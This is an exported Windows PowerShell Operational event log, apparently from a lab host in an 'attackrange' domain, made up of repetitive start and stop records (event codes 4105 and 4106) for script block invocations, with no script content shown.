ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025262
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025261
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025260
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025258
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025256
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025255
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025254
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025253
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025252
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025251
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025250
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025249
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025248
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025247
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025246
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025245
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025244
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025243
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025242
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025240
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025238
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025237
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025236
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025234
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025232
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025231
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025230
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025229
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025228
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025227
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025226
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025225
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025224
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025222
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025221
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025220
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025219
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025218
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025216
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025215
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025214
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025212
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025211
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025210
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025209
Keywords=None
